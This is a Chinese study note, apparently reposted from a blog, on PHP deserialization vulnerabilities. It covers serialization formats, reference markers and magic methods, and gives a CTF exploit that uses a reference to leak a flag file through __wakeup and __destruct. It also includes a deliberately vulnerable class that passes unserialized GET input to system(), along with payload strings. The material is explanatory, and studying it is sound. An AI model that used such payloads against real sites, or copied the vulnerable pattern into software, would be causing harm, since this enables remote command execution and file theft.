首页 > 编程语言 >php反序列化个人笔记

php反序列化个人笔记

时间:2024-06-13 22:56:59浏览次数:15  
标签:__ 调用 serialize 笔记 echo 魔术 序列化 php

反序列化

什么是反序列化?

格式转换

序列化:对象转换为字符串或者数组等格式

反序列化:将数组或字符串转换成对象

为什么会出现安全漏洞?

魔术方法

如何利用漏洞?

通过构造pop链,找到代码的逻辑漏洞,进行getshell,rce等操作

反序列化利用分为三类

  • 魔术方法的调用逻辑
  • 语言原生类的调用逻辑,如SoapClient
  • 语言自身的安全缺陷,如CVE-2016-7124

序列化

在各类语言中,将对象的状态信息转换为可存储或可传输的过程就是序列化,序列化的逆过程就是便是反序列化,主要是为了方便对象传输。所以当我们把一段php代码序列化之后,通过GET or POST方法传进去,php引擎是可以通过unserialize函数读取的
PHP基本类型的序列化

bool:  b:value =>b:0
int:   i:value=>i:1
str:   s:length:“value”;=>s:4"aaaa"
array :a:<length>:{key:value pairs};=>a:{i:1;s:1:“a”}
object:O:<class_name_length>:
NULL:  N

序列化前

<?php
class test{
	public $a=false;
	public $b=3;
	public $c='hello';
	public $d=array(1,2,3,'hello');
	public $e=NULL;
}
$test = new test;
echo serialize($test);
?>

序列化后

O:4:“test”:5:{s:1:“a”;b:0;s:1:“b”;i:3;s:1:“c”;s:5:“hello”;s:1:“d”;a:4:{i:0;i:1;i:1;i:2;i:2;i:3;i:3;s:5:“hello”;}s:1:“e”;N;}

R与r

当两个对象本来就是同一个对象时会出现的对象将会以小写r表示。
不过基础类型不受此条件限制,总是会被序列化

为什么?(看完“分析”以后再看这里)

<?php
$x = new stdClass;
$x->a = 1; $x->b = $x->a;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";i:1;} // 基础类型
$y = new stdClass;
$x->a = $y; $x->b = $y;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";O:8:"stdClass":0:{}s:1:"b";r:2;}
// id(a) == id(b),二者都是$y;
$x->a = $x; $x->b = $x;
// O:8:"stdClass":2:{s:1:"a";r:1;s:1:"b";r:1;}

而当PHP中的一个对象如果是对另一对象显式的引用,那么在同时对它们进行序列化时将通过大写R表示

<?php
$x = new stdClass;
$x->a = 1;
$x->b = &$x->a;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";R:2;}

魔术方法

魔术方法 说明
__construct() 构造函数,当对象new时会自动调用
__destruct() 折构函数,当对象被销毁时会被自动调用
__wakeup() unserialize() 时会被自动调用,在其之前
__invoke() 当尝试以调用函数的方法调用一个对象时,会被自动调用
__call() 当尝试以调用函数的方法调用一个对象时,会被自动调用
__callStack() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 在类被当作字符串使用时触发,如echo
__sleep() serialize()函数会检查类中是否存在一个魔术方法__sleep,如果存在,该方法会被优先调用

这里用到了php魔术方法,简单概括就是当对某个对象进行某种操作(创建,销毁等)时,就会自动调用魔术方法

eg:例如题目中有一个类名为Clazz的class类,比如当我 们unserialize了一个Clazz,在这之前会调用__wakeup,在这之后会调用 destruct

exp:

<?php 
class Clazz
{
    public $a;
    public $b;
 
    public function __wakeup()
    {
        $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
    }
    public function __destruct()
    {
        echo $this->b;
    }
}
$a=new Clazz();
$a->b=&$a->a;
echo serialize($a);
?> 

序列化后得到payload:O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}

R为2代表是第二个反序列化元素被引用

POST方法传进data就拿到了base64的flagPD8NCiRGTEFHPSAiRkxBR3t5MHVfYXJlX2wwdmUhISEhfSINCj8+DQo=

<?
$FLAG= "FLAG{y0u_are_l0ve!!!!}"
?>
<?php
class Clazz
{
    public $a;
    public $b;
} 
$C=new Clazz();
$C->b=&$C->a;
echo serialize($C);

这样写exp也是可以的,在exp里我们只需要让b成为a的引用,让b和a的内存地址是一样的。

当我们把payload传进data之后,在@unserialize($_POST['data'])前会调用wakeup魔术方法,然后flag会传进a的内存地址,然后在序列化过程中将属性b设置为属性a的应用,然后就就会调用destruct魔术方法echo出b

这里的 @ 前缀作用如下:

  1. 抑制错误:如果 unserialize($_POST['data']) 在执行过程中遇到错误(如序列化数据格式不正确、类不存在、魔术方法引发的异常等),@ 运算符会阻止这些错误信息被输出到浏览器或日志中。这对于攻击者来说可能是有利的,因为他们可以隐藏其攻击尝试的痕迹,避免被管理员或其他监控系统检测到。
  2. 继续执行:即使 unserialize() 函数内部发生了错误,由于错误被抑制,程序不会立即停止执行。这使得攻击者有机会尝试多种不同的攻击载荷,而不必担心单次尝试失败导致整个请求中断。
  3. 安全风险:使用 @ 错误抑制符可能导致安全问题难以被及时发现和修复。由于错误信息被隐藏,管理员可能无法意识到系统存在潜在的反序列化攻击或其他安全漏洞。此外,攻击者也可能利用 @ 运算符掩盖其利用反序列化漏洞执行恶意代码的过程。

核心例子

这是一段php代码

<?php
class C{
	public $cmd = 'ipconfig';
	public function __destruct(){
		system($this->cmd);
	}
	public function __construct(){
	echo 'xiaodisec'.'<br>';
	}
}
$cc = new C();
echo serialize($cc);
?>

这是执行效果,会echo一个xiaodisec,再打印出序列化后的cc,然后执行ipconfig

我们把代码改一下

<?php
class C{
	public $cmd = 'ipconfig';
	public function __destruct(){
		system($this->cmd);
	}
	public function __construct(){
	echo 'xiaodisec'.'<br>';
	}
}
//$cc = new C();
//echo serialize($cc);//O:1:"C":1:{s:3:"cmd";s:8:"ipconfig";} 
unserialize($_GET[c]);
?>

我们把上面构造好的exp序列化之后,传入c中,可以完成ipconfig

然而我们可以做的并不止这个,在我们的payloadO:1:"C":1:{s:3:"cmd";s:8:"ipconfig";}中,我们要执行的命令时ipconfig,他是一个public变量,我们在传入这个序列化字符串的时候,还可以做到更改这个变量的信息,例如:O:1:"C":1:{s:3:"cmd";s:3:"ver";}

(ver:查看当前操作系统的版本号)

标签:__,调用,serialize,笔记,echo,魔术,序列化,php
From: https://www.cnblogs.com/Sol9/p/18246908

相关文章

  • PHP正则表达式
    PHP正则表达式函数PHP正则表达式介绍正则表达式允许您搜索和替换字符串中的模式。安装PHP正则表达式函数是PHP核心的一部分。无需安装即可使用这些功能。运行时配置php.ini中的这些设置可用于限制计算正则表达式时使用的时间或资源量。名称默认值描述Changea......
  • php基础语法_面向对象
    PHPphp代码标记多种标记来区分php脚本ASP标记:<%php代码%>短标记:脚本标记:标准标记(常用):简写风格:ASP风格:<%php代码%>注意:简写风格和ASP风格需要在php.ini配置文件中修改以下配置为on,移植性差short_open_tag=onasp_tags=on<html><body> <b> <?php //脚......
  • 【学习笔记】透视HTTP协议(五):什么是DNS?
     本文是一篇学习笔记,学习的课程是极客时间的《透视HTTP协议》。透视HTTP协议_HTTP_HTTPS-极客时间(geekbang.org)DNS(DomainNameSystem)是域名系统的缩写,它是一个分布式数据库系统,用于将人们易于记忆和理解的域名(如 www.example.com)转换为计算机能够理解和处理的IP地址(如......
  • 《Linux命令行与shell脚本编程大全(第3版)》读书笔记
    一、初识linuxshell1、什么是linuxLinux可划分为以下四部分:Linux内核、GNU工具(如shell)、图形化桌面环境、应用软件1)深入探究linux内核内核主要负责以下四种功能:系统内存管理、软件程序管理、硬件设备管理、文件系统管理2)GNU工具(1)核心GNU工具:GNU项目的主旨在于为Unix......
  • 线段树学习笔记
    线段树(SegmentTree)是一种基于分治思想的数据结构,可以在\(\mathcal{O}(\log~n)\)的时间内完成区间修改和区间查询等操作。1.1线段树基础此部分介绍普通线段树的基本思想与操作。1.1.1基本思想线段树本质上就是一棵二叉树,它的每一个节点表示一段区间的信息,对于一个长度不为......
  • [强网杯 2019]Upload php反序列化代码审计
    进入页面发现有登录,随便注册一个用户登录试试。文件上传?传个试试,结果发现不论怎么上传都没用,还发现了cookie像是反序列化的东西。扫目录看看,发现源码。发现主要文件,做做审计吧。index.php<?phpnamespaceapp\web\controller;usethink\Controller;classIndexextend......
  • 小红书电商实战营:小红书笔记带货和无人直播,24年6月新课
    课程目录1.我的电商创业经历(余文)_.mp42.为什么现在是入局小红书的最佳红利期(余文)_.mp43,.如何打造高利润直摇间_.mp44.无人直播业务总结(余文)_.mp45.如何用笔记打爆直播间_.mp46.如何根据不同的业务阶段搭建核心团队(理论)_.mp47.学员案例分享_.mp408.学员手册介绍_.mp41......
  • 隐语课程学习笔记6-逻辑回归LR与广义线性模型GLM开发实践
    隐语第6课,开始介绍具体的机器学习算法以及使用隐语模型进行真实数据的建模实验。首先介绍广义线性模型,广义线性模型(GLM)是线性模型的扩展,通过联系函数建立响应变量的数学期望值与线性组合的预测变量之间的关系。它的特点是不强行改变数据的自然度量,数据可以具有非线性和非......
  • 隐语课程学习笔记5-隐私保护机器学习算法概要
    隐语课程第5课,简单介绍了隐语的算法能力,包括预处理、隐私求交、决策树模型、线性回归模型、神经网络模型,并且支持数据水平切分(横向联邦)、垂直切分(纵向联邦)、混合切分(横纵向联邦)。隐语提供了包括对DataFrame的封装,以及提供联邦ndarray的封装,和python的使用基本一致,上手较快,比......
  • CSharpe中的IO+NPOI+序列化
    CSharpe中的IO+NPOI+序列化文件文件夹操作学习一下常见的文件、文件夹的操作。什么是IO流?I:就是inputO:就是output,故称:输入输出流将数据读入内存或者内存输出的过程。常见的IO流操作,一般说的是[内存]与[磁盘]之间的输入输出。作用持久化数据,保证数据不再丢失!文件操作......